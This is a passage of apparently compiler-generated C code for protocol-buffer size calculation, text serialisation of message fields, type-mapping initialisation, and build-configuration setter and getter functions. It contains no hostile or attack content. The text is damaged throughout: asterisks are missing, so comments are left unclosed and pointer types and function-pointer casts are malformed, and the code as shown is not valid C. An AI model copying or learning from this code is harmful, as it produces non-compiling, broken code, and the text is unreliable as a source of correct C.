(Tc)0, /* MProto__CE_BinaryError.getMessage - YOEA__YwtA__YCzX / (Tc)0, /* MProto__CE_BinaryError.getPos - YOEA__YwtA__YvCK / (Tc)0, /* MProto__CE_BinaryError.getBacktrace - YOEA__YwtA__Y4bq / (Tc)0, /* Init - YOEAa / }; To ToYOEA[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YOEA__T = {390, (Tc)&YtJ_, 0, ToYOEA}; YqvM Ykww(YqvM t, Tc Aname, Ti Anr, Te Atype, Tb Arepeated) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=1366600; t = Za(sizeof(YqvM));} sf.pos=1366601; t->Vname = Aname; sf.pos=1366602; t->Vnr = Anr; sf.pos=1366603; t->Vtype = Atype; sf.pos=1366604; t->Vrepeated = Arepeated; topFrame = sf.prev; return t; } To ToYqvM[] = { {1, 0}, {0, (Tt)&string__T}, /* name / }; Tto YqvM__T = {390, (Tc)&Y5d5, 0, ToYqvM}; YLWE YrCUb(YLWE t, Tr Awriter, Tc Aindent, Tb AuseNr) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=1246900; t = Za(sizeof(YLWE));} sf.pos=1246901; t->Vwriter = Awriter; sf.pos=1246902; t->Vindent = Aindent; sf.pos=1246903; t->VuseNr = AuseNr; sf.pos=1246904; YEV9(t); topFrame = sf.prev; return t; } void YEV9(YLWE t) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3295600; ZthrowThisNil(); } sf.pos=3295601; t->VderefTime = ++(YcTI); sf.pos=3295602; t->VderefTimeSize = t->VderefTime; topFrame = sf.prev; return; } To ToYLWE[] = { {2, 0}, {0, (Tt)&iobj__T}, / writer / {0, (Tt)&string__T}, /* indent / }; Tto YLWE__T = {390, (Tc)&YaKG, 0, ToYLWE}; Ti Ybyp(YqvM Afspec) { Ti Vtag; Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=4959900; Vtag = (((Afspec->Vnr << YqNA)) + ZDictGetInt(YLwW, (Tz)(Ti)ZDictGetInt(YXCQ, (Tz)(Ti)Afspec->Vtype))); sf.pos=4959901; r = YmeT(Vtag); topFrame = sf.prev; return r; } Ti YFN0(Tr Amsg, YLWE AprotoWriter) { Ti Vsize; Zsf sf; Ti r = 0; Tl Zf1 = NULL; Tc Vs = NULL; Tr Vother = {NULL}; Tc Vs1 = NULL; Tr Vother1 = {NULL}; YqvM Vfspec = 0; Tr t0 = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vsize = 0; sf.pos=9067900; { Tfl Zf1i; Zf1 = ((Tl* ()(void))(Amsg.table[43]))(Amsg.ptr); Zf1i.l = Zf1; Zf1i.valp = (void)&Vfspec; Zf1i.i = 0; for (; ZforListPtrCont(&Zf1i); ) { sf.pos=9067901; if (Vfspec->Vrepeated) { Ti Vcount; sf.pos=9067902; Vcount = ((Ti ()(void, Ti))(Amsg.table[42]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067903; { Ti Vi; Tfr Zf3; ZforRangeNew(0, Vcount, 1, 1, &Zf3); for (ZforRangeGetInt(&Zf3, &Vi); ZforRangeContInt(&Zf3); ZforRangeNextInt(&Zf3, &Vi)) { sf.pos=9067904; switch (Vfspec->Vtype) { case 9: case 11: { sf.pos=9067905; Vsize += Ybyp(Vfspec); sf.pos=9067906; Vsize += YmeT(((Ti ()(void, Ti, Ti))(Amsg.table[11]))(Amsg.ptr, Vfspec->Vnr, Vi)); break; } case 10: { sf.pos=9067907; Vsize += Ybyp(Vfspec); sf.pos=9067908; Vsize += YmeT(((Ti32 ()(void, Ti, Ti))(Amsg.table[13]))(Amsg.ptr, Vfspec->Vnr, Vi)); break; } case 19: { Ti Vv; sf.pos=9067909; Vsize += Ybyp(Vfspec); sf.pos=9067910; Vv = ((Tu ()(void, Ti, Ti))(Amsg.table[15]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067911; Vsize += YmeT(Vv); break; } case 18: { Ti Vv; sf.pos=9067912; Vsize += Ybyp(Vfspec); sf.pos=9067913; Vv = ((Tu32 ()(void, Ti, Ti))(Amsg.table[17]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067914; Vsize += YmeT(Vv); break; } case 6: { sf.pos=9067915; Vsize += Ybyp(Vfspec); sf.pos=9067916; Vsize += 4; break; } case 7: { sf.pos=9067917; Vsize += Ybyp(Vfspec); sf.pos=9067918; Vsize += 8; break; } case 1: { sf.pos=9067919; Vsize += Ybyp(Vfspec); sf.pos=9067920; Vsize += 1; break; } case 17: { Ti Vlen; sf.pos=9067921; Vsize += Ybyp(Vfspec); sf.pos=9067922; Vs = ((Tc ()(void, Ti, Ti))(Amsg.table[25]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067923; Vlen = ZbyteStringSize(Vs); sf.pos=9067924; Vsize += (YmeT(Vlen) + Vlen); break; } case 3: { Ti Vnr; sf.pos=9067925; Vnr = ((Ti ()(void, Ti, Ti))(Amsg.table[7]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067926; Vsize += Ybyp(Vfspec); sf.pos=9067927; Vsize += YmeT((((Vnr < 0)) ? (0) : (Vnr))); break; } case 12: { sf.pos=9067928; Vother = ((Tr ()(void, Ti, Ti))(Amsg.table[37]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067929; Vsize += YMrV(Amsg, Vother, Vfspec, AprotoWriter); break; } default: { Tr ex; sf.pos=9067930; Znao(&ex, YOEA__YwtA__YRHR(NULL, ZcS(((Tc)&Ytvm), Zenum2string(MProto__EType, Vfspec->Vtype))), YOEA__Ytlm_I_imt, 30); ZthrowIobject(ex); } } sf.pos=9067931; } } } else { sf.pos=9067932; if (((Tb ()(void, Ti))(Amsg.table[5]))(Amsg.ptr, Vfspec->Vnr)) { sf.pos=9067933; switch (Vfspec->Vtype) { case 9: case 11: { sf.pos=9067934; Vsize += Ybyp(Vfspec); sf.pos=9067935; Vsize += YmeT(((Ti ()(void, Ti))(Amsg.table[12]))(Amsg.ptr, Vfspec->Vnr)); break; } case 10: { sf.pos=9067936; Vsize += Ybyp(Vfspec); sf.pos=9067937; Vsize += YmeT(((Ti32 ()(void, Ti))(Amsg.table[14]))(Amsg.ptr, Vfspec->Vnr)); break; } case 19: { Ti Vv; sf.pos=9067938; Vsize += Ybyp(Vfspec); sf.pos=9067939; Vv = ((Tu ()(void, Ti))(Amsg.table[16]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067940; Vsize += YmeT(Vv); break; } case 18: { Ti Vv; sf.pos=9067941; Vsize += Ybyp(Vfspec); sf.pos=9067942; Vv = ((Tu32 ()(void, Ti))(Amsg.table[18]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067943; Vsize += YmeT(Vv); break; } case 6: { sf.pos=9067944; Vsize += Ybyp(Vfspec); sf.pos=9067945; Vsize += 4; break; } case 7: { sf.pos=9067946; Vsize += Ybyp(Vfspec); sf.pos=9067947; Vsize += 8; break; } case 1: { sf.pos=9067948; Vsize += Ybyp(Vfspec); sf.pos=9067949; Vsize += 1; break; } case 17: { Ti Vlen; sf.pos=9067950; Vsize += Ybyp(Vfspec); sf.pos=9067951; Vs1 = ((Tc* ()(void, Ti))(Amsg.table[26]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067952; Vlen = ZbyteStringSize(Vs1); sf.pos=9067953; Vsize += (YmeT(Vlen) + Vlen); break; } case 3: { Ti Vnr; sf.pos=9067954; Vnr = ((Ti ()(void, Ti))(Amsg.table[8]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067955; Vsize += Ybyp(Vfspec); sf.pos=9067956; Vsize += YmeT((((Vnr < 0)) ? (0) : (Vnr))); break; } case 12: { sf.pos=9067957; Vother1 = ((Tr ()(void, Ti))(Amsg.table[38]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067958; Vsize += YMrV(Amsg, Vother1, Vfspec, AprotoWriter); break; } default: { Tr ex; sf.pos=9067959; Znao(&ex, YOEA__YwtA__YRHR(NULL, ZcS(((Tc)&Ytvm), Zenum2string(MProto__EType, Vfspec->Vtype))), YOEA__Ytlm_I_imt, 30); ZthrowIobject(ex); } } } } sf.pos=9067960; } } sf.pos=9067961; r = Vsize; topFrame = sf.prev; return r; } Ti YMrV(Tr At, Tr Amsg, YqvM Afspec, YLWE AprotoWriter) { Ti Vsize; Zsf sf; Ti r = 0; YqvM VintFspec = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vsize = 0; sf.pos=3788400; if ((((Amsg).ptr) == NULL)) { sf.pos=3788401; Vsize = Ybyp(Afspec); sf.pos=3788402; Vsize += YmeT(0); } else { Tb Vdone; Vdone = 0; sf.pos=3788403; if (((AprotoWriter != NULL) && (AprotoWriter->VderefTime != 0))) { Ti Vid; sf.pos=3788404; Vid = -1; sf.pos=3788405; if ((((Ti)(Amsg.ptr + (size_t)Amsg.table[1])) == AprotoWriter->VderefTime)) { sf.pos=3788406; Vid = ((Ti)(Amsg.ptr + (size_t)Amsg.table[2])); } else { sf.pos=3788407; if ((((Ti)(Amsg.ptr + (size_t)Amsg.table[3])) == AprotoWriter->VderefTimeSize)) { sf.pos=3788408; Vid = ((Ti)(Amsg.ptr + (size_t)Amsg.table[4])); } } sf.pos=3788409; if ((Vid >= 0)) { sf.pos=3788410; VintFspec = Ykww(NULL, NULL, Afspec->Vnr, 9, 0); sf.pos=3788411; Vsize += Ybyp(VintFspec); sf.pos=3788412; Vsize += YmeT(Vid); sf.pos=3788413; Vdone = 1; } else { sf.pos=3788414; ((Ti)(Amsg.ptr + (size_t)Amsg.table[3])) = AprotoWriter->VderefTimeSize; sf.pos=3788415; ((Ti)(Amsg.ptr + (size_t)Amsg.table[4])) = ++(AprotoWriter->VderefIdSize); } } sf.pos=3788416; if (!(Vdone)) { Ti Vlen; sf.pos=3788417; Vsize += Ybyp(Afspec); sf.pos=3788418; Vlen = YFN0(Amsg, AprotoWriter); sf.pos=3788419; Vsize += YmeT(Vlen); sf.pos=3788420; Vsize += Vlen; } } sf.pos=3788421; r = Vsize; topFrame = sf.prev; return r; } void YP8Z(Tr Amsg, YLWE AprotoWriter) { Zsf sf; Tl Zf2 = NULL; YqvM Vfspec = 0; Tc t0 = NULL; Tc t1 = NULL; Tc t2 = NULL; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=1929900; if ((AprotoWriter->Vindent != NULL)) { Tr YCSo = {NULL}; sf.pos=1929901; (YCSo = AprotoWriter->Vwriter, ((Ts ()(void, Tc))(YCSo.table[1]))(YCSo.ptr, AprotoWriter->Vindent)); } sf.pos=1929902; if ((((Ti)(Amsg.ptr + (size_t)Amsg.table[1])) == AprotoWriter->VderefTime)) { Tr YDSo = {NULL}; sf.pos=1929903; (YDSo = AprotoWriter->Vwriter, ((Ts ()(void, Tc))(YDSo.table[1]))(YDSo.ptr, ZcS5(((Tc)&YvJi), ((Tc* ()(void))(Amsg.table[6]))(Amsg.ptr), ((Tc)&YT), (t0 = Zint2string(((Ti)(Amsg.ptr + (size_t)Amsg.table[2])))), ((Tc)&Yk)))); } else { Tr YESo = {NULL}; sf.pos=1929904; ((Ti)(Amsg.ptr + (size_t)Amsg.table[1])) = AprotoWriter->VderefTime; sf.pos=1929905; ((Ti)(Amsg.ptr + (size_t)Amsg.table[2])) = ++(AprotoWriter->VderefId); sf.pos=1929906; (YESo = AprotoWriter->Vwriter, ((Ts ()(void, Tc))(YESo.table[1]))(YESo.ptr, ZcS8(((Tc)&YN2), ((Tc* ()(void))(Amsg.table[6]))(Amsg.ptr), ((Tc)&YT), (t0 = Zint2string(((Ti)(Amsg.ptr + (size_t)Amsg.table[2])))), ((Tc)&Y0Eh), (t1 = Zint2string(YFN0(Amsg, AprotoWriter))), ((Tc)&Y8RH), (Tc)1))); sf.pos=1929907; { Tfl Zf2i; Zf2 = ((Tl* ()(void))(Amsg.table[43]))(Amsg.ptr); Zf2i.l = Zf2; Zf2i.valp = (void)&Vfspec; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=1929908; if (Vfspec->Vrepeated) { Ti Vn; sf.pos=1929909; Vn = ((Ti ()(void, Ti))(Amsg.table[42]))(Amsg.ptr, Vfspec->Vnr); sf.pos=1929910; { Ti Vi; Tfr Zf4; ZforRangeNew(0, Vn, 1, 1, &Zf4); for (ZforRangeGetInt(&Zf4, &Vi); ZforRangeContInt(&Zf4); ZforRangeNextInt(&Zf4, &Vi)) { sf.pos=1929911; YWEg(Amsg, Vfspec, Vi, AprotoWriter); sf.pos=1929912; } } } else { sf.pos=1929913; if (((Tb ()(void, Ti))(Amsg.table[5]))(Amsg.ptr, Vfspec->Vnr)) { sf.pos=1929914; YWEg(Amsg, Vfspec, -1, AprotoWriter); } } sf.pos=1929915; } } } topFrame = sf.prev; return; } void YWEg(Tr Amsg, YqvM Afspec, Ti Aidx, YLWE AprotoWriter) { Zsf sf; Tr Vwriter = {NULL}; Tc Vv = NULL; Tc Vname = NULL; Tc Vindent = NULL; Tr t0 = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=9472900; Vwriter = AprotoWriter->Vwriter; sf.pos=9472901; if ((AprotoWriter->Vindent != NULL)) { sf.pos=9472902; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, AprotoWriter->Vindent); } sf.pos=9472903; if (AprotoWriter->VuseNr) { sf.pos=9472904; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Afspec->Vnr), ((Tc)&YT))); } sf.pos=9472905; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Afspec->Vname, ((Tc)&YFDa))); sf.pos=9472906; switch (Afspec->Vtype) { case 9: case 11: { Ti Vv; Vv = 0; sf.pos=9472907; if ((Aidx >= 0)) { sf.pos=9472908; Vv = ((Ti ()(void, Ti, Ti))(Amsg.table[11]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472909; Vv = ((Ti ()(void, Ti))(Amsg.table[12]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472910; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc)&Yk))); break; } case 10: { Ti Vv; Vv = 0; sf.pos=9472911; if ((Aidx >= 0)) { sf.pos=9472912; Vv = ((Ti32 ()(void, Ti, Ti))(Amsg.table[13]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472913; Vv = ((Ti32 ()(void, Ti))(Amsg.table[14]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472914; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc)&Yk))); break; } case 19: { Ti Vv; Vv = 0; sf.pos=9472915; if ((Aidx >= 0)) { sf.pos=9472916; Vv = ((Tu ()(void, Ti, Ti))(Amsg.table[15]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472917; Vv = ((Tu ()(void, Ti))(Amsg.table[16]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472918; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc)&Yk))); break; } case 18: { Ti Vv; Vv = 0; sf.pos=9472919; if ((Aidx >= 0)) { sf.pos=9472920; Vv = ((Tu32 ()(void, Ti, Ti))(Amsg.table[17]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472921; Vv = ((Tu32 ()(void, Ti))(Amsg.table[18]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472922; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc)&Yk))); break; } case 6: { Tf32 Vf; Vf = 0; sf.pos=9472923; if ((Aidx >= 0)) { sf.pos=9472924; Vf = ((Tf32 ()(void, Ti, Ti))(Amsg.table[19]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472925; Vf = ((Tf32 ()(void, Ti))(Amsg.table[20]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472926; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(ZfloatFormat(((Tc)&YxR2), Vf), ((Tc)&Yk))); break; } case 7: { Tf Vf; Vf = 0; sf.pos=9472927; if ((Aidx >= 0)) { sf.pos=9472928; Vf = ((Tf ()(void, Ti, Ti))(Amsg.table[21]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472929; Vf = ((Tf ()(void, Ti))(Amsg.table[22]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472930; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(ZfloatFormat(((Tc)&YmwI), Vf), ((Tc)&Yk))); break; } case 1: { Tb Vv; Vv = 0; sf.pos=9472931; if ((Aidx >= 0)) { sf.pos=9472932; Vv = ((Tb ()(void, Ti, Ti))(Amsg.table[23]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472933; Vv = ((Tb ()(void, Ti))(Amsg.table[24]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472934; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS((((Vv) ? (((Tc)&YHoE)) : (((Tc)&Y2cy)))), ((Tc)&Yk))); break; } case 17: { sf.pos=9472935; if ((Aidx >= 0)) { sf.pos=9472936; Vv = ((Tc ()(void, Ti, Ti))(Amsg.table[25]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472937; Vv = ((Tc* ()(void, Ti))(Amsg.table[26]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472938; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS3(((Tc)&YI), Vv, ((Tc)&YQ0))); break; } case 3: { sf.pos=9472939; if (AprotoWriter->VuseNr) { Ti Vv; Vv = 0; sf.pos=9472940; if ((Aidx >= 0)) { sf.pos=9472941; Vv = ((Ti ()(void, Ti, Ti))(Amsg.table[7]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472942; Vv = ((Ti ()(void, Ti))(Amsg.table[8]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472943; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc)&YT))); } sf.pos=9472944; if ((Aidx >= 0)) { sf.pos=9472945; Vname = ((Tc ()(void, Ti, Ti))(Amsg.table[9]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472946; Vname = ((Tc* ()(void, Ti))(Amsg.table[10]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472947; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Vname, ((Tc)&Yk))); break; } case 12: { sf.pos=9472948; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ((Tc)&Ywhc)); sf.pos=9472949; Vindent = AprotoWriter->Vindent; sf.pos=9472950; if ((Vindent != NULL)) { sf.pos=9472951; AprotoWriter->Vindent = ZcS(Vindent, ((Tc)&YZY)); } sf.pos=9472952; if ((Aidx >= 0)) { sf.pos=9472953; YeeBa(Amsg, Afspec->Vnr, Aidx, AprotoWriter); } else { sf.pos=9472954; YeeB(Amsg, Afspec->Vnr, AprotoWriter); } sf.pos=9472955; AprotoWriter->Vindent = Vindent; sf.pos=9472956; if ((Vindent != NULL)) { sf.pos=9472957; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, Vindent); } sf.pos=9472958; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, ((Tc)&YJkc)); break; } default: { Tr ex; sf.pos=9472959; Znao(&ex, Ys_q__YwtA__YRHR(NULL, ZcS(((Tc)&Y80t), Zenum2string(MProto__EType, Afspec->Vtype))), Ys_q__Ytlm_I_imt, 29); ZthrowIobject(ex); } } topFrame = sf.prev; return; } void YeeB(Tr At, Ti AfieldNr, YLWE AprotoWriter) { Zsf sf; Tr Vmsg = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=6491200; Vmsg = ((Tr ()(void, Ti))(At.table[38]))(At.ptr, AfieldNr); sf.pos=6491201; if ((((Vmsg).ptr) != NULL)) { sf.pos=6491202; YP8Z(Vmsg, AprotoWriter); } topFrame = sf.prev; return; } void YeeBa(Tr At, Ti AfieldNr, Ti Aidx, YLWE AprotoWriter) { Zsf sf; Tr Vmsg = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=7198800; Vmsg = ((Tr ()(void, Ti, Ti))(At.table[37]))(At.ptr, AfieldNr, Aidx); sf.pos=7198801; if ((((Vmsg).ptr) != NULL)) { sf.pos=7198802; YP8Z(Vmsg, AprotoWriter); } topFrame = sf.prev; return; } Ti YmeT(Ti Avalue) { Ti Vbytes; Zsf sf; Ti r = 0; int rt = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=3699400; if ((Avalue < 0)) { sf.pos=3699401; r = 10; rt = 1; goto Yn2E; } sf.pos=3699402; if ((Avalue < 128)) { sf.pos=3699403; r = 1; rt = 1; goto Yn2E; } sf.pos=3699404; if ((Avalue < 16384)) { sf.pos=3699405; r = 2; rt = 1; goto Yn2E; } sf.pos=3699406; Vbytes = 3; sf.pos=3699407; while ((Avalue >= ((1 << ((Vbytes * 7)))))) { sf.pos=3699408; if ((++(Vbytes) == 10)) { rt = 2; goto YDo3; } YDo3: if (rt == 2) { rt &= 1; break; } sf.pos=3699409; } sf.pos=3699410; r = Vbytes; Yn2E: topFrame = sf.prev; return r; } int JProto(int round) { static int round_done = -1; int done = 1; if (round_done < round) { Zsf sf; sf.prev = topFrame; sf.pos = 0; sf.frof = NULL; topFrame = &sf; round_done = round; if (round == 2001) { sf.pos=3053200; YXCQ = ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZnewDict((Tt)&MProto__EType__T, (Tt)&MProto__EBinaryType__T, 0), (Tz)(Ti)1, (Tz)(Ti)0), (Tz)(Ti)9, (Tz)(Ti)0), (Tz)(Ti)11, (Tz)(Ti)0), (Tz)(Ti)10, (Tz)(Ti)0), (Tz)(Ti)19, (Tz)(Ti)0), (Tz)(Ti)18, (Tz)(Ti)0), (Tz)(Ti)17, (Tz)(Ti)2), (Tz)(Ti)3, (Tz)(Ti)0), (Tz)(Ti)12, (Tz)(Ti)2), (Tz)(Ti)6, (Tz)(Ti)5), (Tz)(Ti)7, (Tz)(Ti)1); sf.pos=3053201; YLwW = ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZnewDict((Tt)&MProto__EBinaryType__T, (Tt)&int__T, 0), (Tz)(Ti)0, (Tz)(Ti)0), (Tz)(Ti)1, (Tz)(Ti)1), (Tz)(Ti)2, (Tz)(Ti)2), (Tz)(Ti)3, (Tz)(Ti)3), (Tz)(Ti)4, (Tz)(Ti)4), (Tz)(Ti)5, (Tz)(Ti)5); } topFrame = sf.prev; } return done; } /* Proto done / YNdL YA_Z(YNdL t) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=2763200; t = Za(sizeof(YNdL));} topFrame = sf.prev; return t; } Tc Ykvoa(YNdL t) { Tc r = 0; if (t == NULL) { ZthrowThisNil(); } r = ((Tc)&YF2d); return r; } YNdL YrF2(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_mallocArg = Av; r = t; return r; } Tb Y8zW(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_mallocArg != NULL); return r; } YNdL YOPG(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_threadArg = Av; r = t; return r; } Tb YvKz(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_threadArg != NULL); return r; } YNdL YWoP(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_socketArg = Av; r = t; return r; } Tb YDjI(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_socketArg != NULL); return r; } YNdL Yjrt(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_mathArg = Av; r = t; return r; } Tb Y8om(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_mathArg != NULL); return r; } YNdL Yqt5(YNdL t, Tb Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_haveResolve = ((Av) ? (2) : (1)); r = t; return r; } Tb Y3Lr(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_haveResolve != 0); return r; } YNdL YBhB(YNdL t, Tb Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_haveFork = ((Av) ? (2) : (1)); r = t; return r; } Tb YcPw(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_haveFork != 0); return r; } YNdL YNXX(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_exeSuffix = Av; r = t; return r; } Tb YuSQ(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_exeSuffix != NULL); return r; } YNdL YcU3(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_exePrefix = Av; r = t; return r; } Tb YUOX(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_exePrefix != NULL); return r; } YNdL Y118(YNdL t, Tb Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_haveSigaction = ((Av) ? (2) : (1)); r = t; return r; } Tb YJrk(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_haveSigaction != 0); return r; } YNdL YEDn(YNdL t, Tb Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_gcWithThreads = ((Av) ? (2) : (1)); r = t; return r; } Tb Yo45(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_gcWithThreads != 0); return r; } YNdL YIIX(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_int16Name = Av; r = t; return r; } Tb YpDQ(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_int16Name != NULL); return r; } YNdL Y8TB(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_int32Name = Av; r = t; return r; } Tb YQOu(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_int32Name != NULL); return r; } YNdL Y6PM(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_int64Name = Av; r = t; return r; } Tb YOKF(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_int64Name != NULL); return r; } YNdL YXzR(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_nat16Name = Av; r = t; return r; } Tb YEuK(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_nat16Name != NULL); return r; } YNdL YnLv(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_nat32Name = Av; r = t; return r; } Tb Y4Fo(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_nat32Name != NULL); return r; } YNdL YlHG(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_nat64Name = Av; r = t; return r; } Tb Y2Bz(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_nat64Name != NULL); return r; } YNdL Yla2(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_floatName = Av; r = t; return r; } Tb Y24V(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_floatName != NULL); return r; } YNdL YI4N(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_float32Name = Av; r = t; return r; } Tb YftC(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_float32Name != NULL); return r; } YNdL YJ6V(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_intPtrName = Av; r = t; return r; } Tb YTxb(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_intPtrName != NULL); return r; } YNdL YUld(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_printIntFormat = Av; r = t; return r; } Tb YlFq(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_printIntFormat != NULL); return r; } YNdL Y8c7(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } 